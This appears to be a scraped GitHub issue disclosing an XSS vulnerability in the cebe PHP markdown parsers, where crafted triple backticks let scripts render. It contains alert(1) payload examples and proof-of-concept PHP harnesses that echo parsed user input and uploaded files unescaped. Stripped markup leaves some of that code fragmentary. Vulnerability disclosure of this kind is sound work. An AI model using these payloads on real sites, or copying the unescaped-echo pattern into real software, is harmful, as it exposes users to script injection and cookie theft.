Inconsistent behavior of multiple backticks
- Dominant language
- HTML
- Stars
- 1k
- Forks
- 137
- PR merge metrics
- No merged PRs in 30d
Description
# Issue
There is a reflected and/or stored xss vulnerability (depending on how the markdown is parsed from user input or from a user uploaded file) from a crafted use of backticks, in all of the following parsers:
- `GithubMarkdown`
- `Markdown`
- `MarkdownExtra`
# How?
The vulnerability occurs when a user crafts a malicious payload with characters before a 3 backtick wrapped payload, thus bypassing the parser escape. For example, here is an image of the payloads crafted with single, double, and triple backticks:

And here is an image of the payloads rendered:

As you can see when the payload is crafted correctly using three backticks, the parser will render it as a script, this can allow malicious individuals to render scripts within a `.md` file or within a text box on any platform that is using this as the markdown parser. An example of a ran script:

# Impact
Doing a quick search on Github for the code that enables your parser: `new \cebe\markdown\`. I get this many results:

The vulnerability can be either stored using an `.md` file (`README` for example), or reflected if the markdown parser is just parsing the user input text. Malicious attackers can use this method to steal sensitive user data. For example to steal a users cookies:

This can allow serious impacts on not only the end users using the site, but the reputation of the website as well.
# Proof of Concept
### User input
You can use the following code for a PoC on user entered text:
```
alert(1);`
* this will output the script in a safe way.
*
* To make an alert do:
* L: ```alert(1);```
* this will display a rendered alert
* */
include 'vendor/autoload.php';
function parseData($data) {
$parserGithub = new cebe\markdown\GithubMarkdown();
$parserMarkdown = new cebe\markdown\Markdown();
$parserMarkdownExtra = new cebe\markdown\MarkdownExtra();
return [
"
"
"
];
}
if (isset($_GET['poc'])) {
$parsed = parseData($_GET['poc']);
echo "
PoC
{$parsed[0]}
{$parsed[1]}
{$parsed[2]}
";
} else {
echo "
PoC
Markdown:
";
}
```
### MD file
And you can use the following code for a PoC on text read from an MD file:
```
alert(1);`,
* or whatever script you decide to use
*
* In order to get the data rendered as javascript:
* L: ```alert();``` or whatever script you decide to render
* */
include 'vendor/autoload.php';
function renderFileContent($fname) {
return file_get_contents($fname);
}
if (isset($_POST['upload'])) {
$tmpName = $_FILES['poc']['tmp_name'];
$contents = renderFileContent($tmpName);
$parserGithub = new cebe\markdown\GithubMarkdown();
$parserMarkdown = new cebe\markdown\Markdown();
$parserMarkdownExtra = new cebe\markdown\MarkdownExtra();
$dataGithub = $parserGithub->parse($contents);
$dataMarkdown = $parserMarkdown->parse($contents);
$dataMarkdownExtra = $parserMarkdownExtra->parse($contents);
$parsed = [
"
"
"
];
echo "
PoC
{$parsed[0]}
{$parsed[1]}
{$parsed[2]}
";
} else {
echo "
PoC
Upload file:
";
}
```
Contributor guide
Assessment
This issue has not been assessed yet.